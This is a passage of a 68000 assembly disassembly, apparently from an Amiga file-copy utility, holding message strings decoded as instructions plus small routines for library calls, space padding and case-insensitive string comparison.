MOVE.L -(A5),D1 ;1BE2: 2225
DC.W $7322 ;1BE4
MOVE.L A2,D7 ;1BE6: 2E0A
DC.W $0000 ;1BE8
LAB_00BC:
DC.W $0A00 ;1BEA
LAB_00BD:
MOVE.L -(A0),D0 ;1BEC: 2020
LAB_00BE:
MOVEA.L (A3)+,A0 ;1BEE: 205B
BLS.S LAB_00D0 ;1BF0: 6372
DC.W $6561 ;1BF2
MOVEQ #101,D2 ;1BF4: 7465
DC.W $645D ;1BF6
DC.W $0A00 ;1BF8
LAB_00BF:
DC.W $6F75 ;1BFA
MOVEQ #0,D2 ;1BFC: 7400
LAB_00C0:
MOVE.L -(A0),D0 ;1BFE: 2020
MOVE.L -(A5),D0 ;1C00: 2025
DC.W $732E ;1C02
LAB_00C1:
MOVE.L D0,D7 ;1C04: 2E00
LAB_00C2:
MOVEQ #101,D1 ;1C06: 7265
BSR.S LAB_00D1 ;1C08: 6164
DC.W $0000 ;1C0A
LAB_00C3:
DC.W $7772 ;1C0C
BVS.S LAB_00D4 ;1C0E: 6974
DC.W $0000 ;1C10
LAB_00C4:
DC.W $4572 ;1C12
MOVEQ #111,D1 ;1C14: 726F
MOVEQ #32,D1 ;1C16: 7220
BVS.S LAB_00D5 ;1C18: 696E
MOVE.L -(A5),D0 ;1C1A: 2025
DC.W $7369 ;1C1C
DC.W $6E67 ;1C1E
LAB_00C5:
MOVE.L 8192(A5),D0 ;1C20: 202D2000
LAB_00C6:
NEG -(A5) ;1C24: 4465
LAB_00C7:
DC.W $7374 ;1C26
BVS.S LAB_00D7 ;1C28: 696E
BSR.S LAB_00D8 ;1C2A: 6174
DC.W $696F ;1C2C
BGT.S LAB_00CD ;1C2E: 6E20
DC.W $6669 ;1C30
DC.W $6C65 ;1C32
LAB_00C8:
MOVE.L -(A2),D0 ;1C34: 2022
DC.W $2573 ;1C36
MOVE.L -(A0),D1 ;1C38: 2220
LAB_00C9:
MOVEQ #101,D1 ;1C3A: 7265
DC.W $6D6F ;1C3C
MOVEQ #101,D3 ;1C3E: 7665
BCC.S LAB_00D2 ;1C40: 642E
DC.W $0A00 ;1C42
LAB_00CA:
DC.W $636F ;1C44
MOVEQ #105,D0 ;1C46: 7069
BCS.S LAB_00DA+2 ;1C48: 6564
MOVE.L A2,D7 ;1C4A: 2E0A
LAB_00CB:
DC.W $0000 ;1C4C
LAB_00CC:
DC.W $2573 ;1C4E
LAB_00CD:
MOVE -(A0),D5 ;1C50: 3A20
DC.W $0000 ;1C52
LAB_00CE:
DC.W $2573 ;1C54
MOVE.L 8192(A5),D0 ;1C56: 202D2000
LAB_00CF:
MOVE.L -(A0),D0 ;1C5A: 2020
MOVE.L -(A0),D0 ;1C5C: 2020
MOVE.L -(A0),D0 ;1C5E: 2020
MOVE.L -(A0),D0 ;1C60: 2020
DC.W $0000 ;1C62
LAB_00D0:
MOVEM.L D5-D7/A2-A3/A6,-(A7) ;1C64: 48E70732
MOVEA.L A0,A3 ;1C68: 2648
MOVE.L D0,D7 ;1C6A: 2E00
MOVEA.L A1,A2 ;1C6C: 2449
LAB_00D1:
TST.L D7 ;1C6E: 4A87
LAB_00D2:
BEQ.S LAB_00D3 ;1C70: 670A
MOVE.L D7,D1 ;1C72: 2207
MOVEA.L A2,A6 ;1C74: 2C4A
JSR -126(A6) ;1C76: 4EAEFF82
MOVE.L D0,D6 ;1C7A: 2C00
LAB_00D3:
MOVE.L A3,D1 ;1C7C: 220B
MOVEA.L A2,A6 ;1C7E: 2C4A
JSR -828(A6) ;1C80: 4EAEFCC4
LAB_00D4:
MOVE.L D0,D5 ;1C84: 2A00
TST.L D7 ;1C86: 4A87
LAB_00D5:
BEQ.S LAB_00D6 ;1C88: 6706
MOVE.L D6,D1 ;1C8A: 2206
JSR -126(A6) ;1C8C: 4EAEFF82
LAB_00D6:
MOVE.L D5,D0 ;1C90: 2005
MOVEM.L (A7)+,D5-D7/A2-A3/A6 ;1C92: 4CDF4CE0
RTS ;1C96: 4E75
LAB_00D7:
MOVEM.L D6-D7/A3/A6,-(A7) ;1C98: 48E70312
MOVE.L D0,D7 ;1C9C: 2E00
MOVEA.L A0,A3 ;1C9E: 2648
LAB_00D8:
MOVEQ #0,D6 ;1CA0: 7C00
BRA.S LAB_00DB ;1CA2: 600E
LAB_00D9:
LEA LAB_00CF(PC),A0 ;1CA4: 41FAFFB4
MOVE.L A0,D1 ;1CA8: 2208
MOVEA.L A3,A6 ;1CAA: 2C4B
LAB_00DA:
JSR -948(A6) ;1CAC: 4EAEFC4C
ADDQ.L #1,D6 ;1CB0: 5286
LAB_00DB:
CMP.L D7,D6 ;1CB2: BC87
BLT.S LAB_00D9 ;1CB4: 6DEE
MOVEM.L (A7)+,D6-D7/A3/A6 ;1CB6: 4CDF48C0
RTS ;1CBA: 4E75
LAB_00DC:
MOVE.L D7,-(A7) ;1CBC: 2F07
MOVE.L D0,D7 ;1CBE: 2E00
MOVEQ #100,D0 ;1CC0: 7064
ADD.L D0,D0 ;1CC2: D080
CMP.L D0,D7 ;1CC4: BE80
BLE.S LAB_00DD ;1CC6: 6F20
MOVEQ #116,D0 ;1CC8: 7074
ADD.L D0,D0 ;1CCA: D080
CMP.L D0,D7 ;1CCC: BE80
BGE.S LAB_00DD ;1CCE: 6C18
MOVE.L D7,D0 ;1CD0: 2007
MOVEQ #54,D1 ;1CD2: 7236
NOT.B D1 ;1CD4: 4601
SUB.L D1,D0 ;1CD6: 9081
MOVEQ #1,D1 ;1CD8: 7201
ASL.L D0,D1 ;1CDA: E1A1
ANDI.L #$03163000,D1 ;1CDC: 028103163000
BEQ.S LAB_00DD ;1CE2: 6704
MOVEQ #1,D0 ;1CE4: 7001
BRA.S LAB_00DE ;1CE6: 6002
LAB_00DD:
MOVEQ #0,D0 ;1CE8: 7000
LAB_00DE:
MOVE.L (A7)+,D7 ;1CEA: 2E1F
RTS ;1CEC: 4E75
DC.W $0000 ;1CEE
LAB_00DF:
MOVEQ #0,D0 ;1CF0: 7000
MOVEQ #0,D1 ;1CF2: 7200
LAB_00E0:
MOVE.B (A0)+,D0 ;1CF4: 1018
MOVE.B (A1)+,D1 ;1CF6: 1219
CMPI.B #$61,D0 ;1CF8: 0C000061
BLT.S LAB_00E1 ;1CFC: 6D0A
CMPI.B #$7A,D0 ;1CFE: 0C00007A
BGT.S LAB_00E1 ;1D02: 6E04
SUBI.B #$20,D0 ;1D04: 04000020
LAB_00E1:
CMPI.B #$61,D1 ;1D08: 0C010061
BLT.S LAB_00E2 ;1D0C: 6D0A
CMPI.B #$7A,D1 ;1D0E: 0C01007A
BGT.S LAB_00E2 ;1D12: 6E04
SUBI.B #$20,D1 ;1D14: 04010020
LAB_00E2:
SUB.L D1,D0 ;1D18: 9081
BNE.S LAB_00E3 ;1D1A: 6604
TST.B D1 ;1D1C: 4A01
BNE.S LAB_00E0 ;1D1E: 66D4
LAB_00E3:
RTS ;1D20: 4E75
DC.W $0000 ;1D22
SECTION S_2,DATA
SECSTRT_2:
DC.L LAB_00A8 ;1D24: 00001AD2
DS.W 2 ;1D28
END